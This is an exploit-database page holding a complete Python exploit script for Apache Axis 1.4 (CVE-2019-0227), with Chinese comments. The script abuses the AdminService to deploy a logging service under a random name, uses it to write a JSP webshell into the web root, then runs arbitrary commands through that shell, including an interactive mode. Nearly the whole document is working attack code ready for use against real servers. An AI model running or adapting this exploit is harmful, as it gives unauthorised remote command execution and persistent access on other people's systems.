Exploit databaseDownload repository ZIP
GH-e4e4e383b97afe29f610701c047ae79b
1475210817/axis1.4-cve-2019-0227
Sources for CVE-2019-0227
5 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
1475210817/axis1.4-cve-2019-0227Revision a65c26e0b690
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
jsp-webshell/axis_exp.py
Suggested starting filePython · 10,760 bytes#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Axis CVE-2019-0227 漏洞利用脚本
支持随机服务名和 Webshell 文件名
"""
import requests
import urllib3
import sys
import argparse
import re
import random
import string
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class AxisExploit:
def __init__(self, target, username=None, password=None):
self.target = target.rstrip('/')
self.admin_service = f"{self.target}/services/AdminService"
# 随机生成服务名和 Webshell 文件名
self.service_name = self._random_string(8)
self.shell_name = self._random_string(6) + ".jsp"
# 动态生成服务 URL
self.random_service = f"{self.target}/services/{self.service_name}"
self.shell_url = self.target.replace('/axis', '') + f"/{self.shell_name}"
if username and password:
self.auth = HTTPBasicAuth(username, password)
else:
self.auth = None
self.headers = {
'Content-Type': 'application/xml',
'SOAPAction': 'something',
'User-Agent': 'Mozilla/5.0'
}
# 命令执行结果
self.last_result = ""
def _random_string(self, length):
"""生成随机字符串"""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def extract_cdata(self, text):
"""从 SOAP 响应中提取命令执行结果"""
pattern = r'<api:in0><!\[CDATA\[(.*?)\]\]>'
match = re.search(pattern, text, re.DOTALL)
if match:
content = match.group(1).strip()
# 过滤 JSP 代码
if '<%' in content or '@page' in content:
return ''
return content
return ''
def deploy(self):
"""部署恶意服务(使用随机服务名)"""
print(f"[*] 部署恶意服务: {self.service_name}")
payload = f'''<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="{self.service_name}" provider="java:RPC">
<requestFlow>
<handler type="RandomLog_{self.service_name}"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog_{self.service_name}" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="../webapps/ROOT/{self.shell_name}" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>'''
try:
r = requests.post(self.admin_service, data=payload.encode('utf-8'),
headers=self.headers, auth=self.auth, verify=False, timeout=15)
if r.status_code == 200:
print(f"[+] 服务部署成功: {self.service_name}")
return True
else:
print(f"[-] 部署失败 (HTTP {r.status_code})")
if r.status_code == 401:
print("[!] 可能需要认证,请使用 -U 和 -P 参数")
return False
except Exception as e:
print(f"[-] 请求失败: {e}")
return False
def write_shell(self):
"""写入 JSP Webshell(使用随机文件名)"""
print(f"[*] 写入 Webshell: {self.shell_name}")
jsp_code = f'''<%@page import="java.util.*,java.io.*"%>
<%
String c = request.getParameter("cmd");
if (c != null) {{
Process p = Runtime.getRuntime().exec(c);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {{
out.println(line);
}}
p.destroy();
}}
%>'''
payload = f'''<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0><![CDATA[
{jsp_code}
]]>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>'''
try:
r = requests.post(self.random_service, data=payload.encode('utf-8'),
headers=self.headers, auth=self.auth, verify=False, timeout=15)
if r.status_code in [200, 500]:
print(f"[+] Webshell 写入完成: {self.shell_name}")
return True
else:
print(f"[-] 写入失败 (HTTP {r.status_code})")
return False
except Exception as e:
print(f"[-] 请求失败: {e}")
return False
def exec_cmd(self, cmd):
"""执行命令并通过正则提取结果"""
print(f"[*] 执行命令: {cmd}")
try:
r = requests.get(self.shell_url, params={'cmd': cmd}, timeout=10)
# 尝试从响应中提取结果
result = self.extract_cdata(r.text)
if result:
self.last_result = result
return result
# 如果响应是纯文本(没有 SOAP 包装)
if r.text.strip() and not r.text.strip().startswith('<'):
self.last_result = r.text.strip()
return r.text.strip()
# 如果响应是 500 错误,但可能包含 CDATA
if r.status_code == 500:
result = self.extract_cdata(r.text)
if result:
self.last_result = result
return result
self.last_result = "(无输出)"
return "(无输出)"
except Exception as e:
error_msg = f"[ERROR] {e}"
self.last_result = error_msg
return error_msg
def check_shell(self):
"""验证 Webshell 是否可用"""
try:
r = requests.get(self.shell_url, timeout=5)
return r.status_code == 200 or r.status_code == 500
except:
return False
# def cleanup(self):
# """清理痕迹(可选)"""
# print(f"[*] 清理: 尝试删除 Webshell {self.shell_name}")
# pass
def run(self, cmd=None):
"""完整利用流程"""
print("=" * 60)
print("Axis1.4 CVE-2019-0227 漏洞利用工具")
print(f"目标: {self.target}")
print(f"服务名: {self.service_name}")
print(f"Webshell: {self.shell_url}")
print("=" * 60)
if not self.deploy():
print("\n[!] 利用失败!请检查:")
print(" 1. enableRemoteAdmin是否已设置")
print(" 2. 认证信息是否正确(使用 -U 和 -P 参数)")
print(" 3. Tomcat 是否正常运行")
return False
if not self.write_shell():
print("\n[!] Webshell 写入失败!")
return False
if not self.check_shell():
print("\n[!] Webshell 验证失败!")
return False
print("\n[+] 漏洞利用成功!")
print(f"[+] Webshell 地址: {self.shell_url}")
# print(f"[+] 使用方式: {self.shell_url}?cmd=命令")
if cmd:
print()
result = self.exec_cmd(cmd)
print("-" * 50)
print(result)
print("-" * 50)
return True
def interactive_shell(self):
"""交互式 Shell"""
print("\n[*] 进入交互式 Shell (输入 'exit' 退出)")
# print(f"[*] Webshell: {self.shell_url}")
print()
while True:
try:
cmd = input(f"\n{self.shell_name.split('.')[0]}$ ").strip()
if cmd.lower() == 'exit':
print("[*] 退出")
break
if not cmd:
continue
result = self.exec_cmd(cmd)
if result:
print(result)
except KeyboardInterrupt:
print("\n[*] 退出")
break
def main():
parser = argparse.ArgumentParser(
description='Axis1.4 CVE-2019-0227 远程命令执行利用工具',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
示例:
# 基础用法(自动生成随机服务名和 Webshell)
python3 axis_exp.py -u http://localhost:8080/axis/
# 执行单条命令
python3 axis_exp.py -u http://localhost:8080/axis/ -c "whoami"
# 交互式 Shell
python3 axis_exp.py -u http://localhost:8080/axis/ -i
# 带认证
python3 axis_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
'''
)
parser.add_argument('-u', '--url', required=True,
help='目标 Axis 服务地址,如 http://localhost:8080/axis/')
parser.add_argument('-c', '--command',
help='执行单条命令')
parser.add_argument('-i', '--interactive', action='store_true',
help='交互式 Shell 模式')
parser.add_argument('-U', '--username',
help='Basic 认证用户名(如果配置了 adminPassword)')
parser.add_argument('-P', '--password',
help='Basic 认证密码')
args = parser.parse_args()
# 处理 URL 格式
url = args.url.rstrip('/')
if not url.endswith('/axis'):
if url.endswith('/'):
url = url[:-1]
if not url.endswith('/axis'):
url = url + '/axis'
exp = AxisExploit(url, args.username, args.password)
if args.interactive:
if exp.run():
exp.interactive_shell()
elif args.command:
exp.run(args.command)
else:
exp.run()
if __name__ == "__main__":
main()